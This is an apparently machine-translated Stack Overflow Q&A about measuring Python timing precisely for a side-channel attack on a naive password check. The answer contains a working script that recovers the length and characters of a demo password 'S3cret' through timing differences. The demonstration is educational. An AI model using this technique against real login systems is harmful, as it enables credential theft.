如何在python中有精确的时间进行定时攻击？答案

【问题标题】：How to have precise time in python for timing attacks?如何在python中有精确的时间进行定时攻击？
【发布时间】：2022-11-15 21:52:00
【问题描述】：

我想知道为什么当我重新排序两个嵌套的 for 循环时，python 给了我两个不同的时间。不同之处在于导致结果不准确的显着性。

这几乎给了我我期望看到的结果：

for i in range(20000):
        for j in possibleChars:
            entered_pwd = passStr + j + possibleChars[0] * leftPassLen
            st = time.perf_counter_ns()
            verify_password(stored_pwd, entered_pwd)
            endTime = time.perf_counter_ns() - st
            tmr[j] += endTime

但是从我的观点来看，这段代码会产生不准确的结果：

for i in possibleChars:
        for j in range(20000):
            entered_pwd = passStr + i + possibleChars[0] * leftPassLen
            st = time.perf_counter_ns()
            verify_password(stored_pwd, entered_pwd)
            endTime = time.perf_counter_ns() - st
            tmr[i] += endTime

这是我试图对其运行计时攻击的功能：

def verify_password(stored_pwd, entered_pwd):
    if len(stored_pwd) != len(entered_pwd):
        return False
    for i in range(len(stored_pwd)):
        if stored_pwd[i] != entered_pwd[i]:
            return False
    return True

我还观察到字符“U”（大写）存在问题，因此要成功运行，我必须将其从可能的字符列表中删除。问题是当我测量“U”的时间时，它总是接近其他字符的两倍。如果您有任何问题，请告诉我。

【问题讨论】：

可能只是调度、CPU 时钟更改或 Python 的垃圾收集器的问题。第一个版本将分散所有角色的任何临时性能干扰。第二个一次测试一个字符，因此它会受到更大的影响
@Homer512，谢谢，但您知道，我运行代码 20000 次以确保 CPU 时钟更改对不同字符的代码产生同样的影响。
好吧，您是否尝试过反转字符列表或更改迭代次数？它会影响哪个角色造成麻烦吗？
我还建议跟踪差异。只需运行在线算法 (en.wikipedia.org/wiki/Algorithms_for_calculating_variance) 它可以很好地指示您是否受到运行时差异的影响，并且可能允许您丢弃异常值
@ Homer512，除了'U'，它是随机发生的，我的意思是每次它向我展示一个不同的角色。所以，可能这与我使用的可能字符的范围无关，并且我的列表中没有包括（！、@、# 等）

标签： python time timing timing-attack side-channel-attacks

【解决方案1】：

在这里总结时间可能不是一个好主意：
由于日程安排等原因造成的一次中断将对总数产生巨大影响，并可能使您的测量完全无效。
在第一个循环中进行迭代可能更有可能在测量中更均匀地传播噪声（但这只是一个有根据的猜测）。
但是，最好使用中值或最小时间而不是总和。
这样，您就可以消除所有嘈杂的测量。

话虽如此，我预计时间差异不会很大，与更多低级语言相比，python 作为一种高级语言会产生更多嘈杂的测量结果（因为垃圾收集等）。

但它仍然有效:)
我已经实现了一个依赖于最短时间（而不是总和）的示例。在我的本地机器上，它可以可靠地工作，除了最后一个字符，其中时间差异要小得多：

import time
import string
# We want to leak this
stored_pwd = "S3cret"

def verify_password(entered_pwd):
    if len(stored_pwd) != len(entered_pwd):
        return False
    for i in range(len(stored_pwd)):
        if stored_pwd[i] != entered_pwd[i]:
            return False
    return True

possibleChars = string.printable
MEASUREMENTS = 2000 # works even with numbers as small as 20 (for me)

def find_char(prefix, len_pwd):
    tmr = {i: 9999999999 for i in possibleChars}
    for i in possibleChars:
        for j in range(MEASUREMENTS):
            entered_pwd = prefix + i + i * (len_pwd - len(prefix) - 1)
            st = time.perf_counter_ns()
            verify_password(entered_pwd)
            endTime = time.perf_counter_ns() - st
            tmr[i] = min(endTime, tmr[i])
    return max(tmr.items(), key = lambda x: x[1])[0]                        

def find_length(max_length = 100):
    tmr = [99999999 for i in range(max_length + 1)]
    for i in range(max_length + 1):
        for j in range(MEASUREMENTS):
            st = time.perf_counter_ns()
            verify_password("X" * i)
            endTime = time.perf_counter_ns() - st
            tmr[i] = min(endTime, tmr[i])
    return max(enumerate(tmr), key = lambda x: x[1])[0]    

length = find_length()
print(f"password length: {length}")

recovered_password = ""
for i in range(length):
    recovered_password += find_char(recovered_password, length)
    print(f"{recovered_password}{'?' * (length - len(recovered_password))}")

print(f"Password: {recovered_password}")

【讨论】：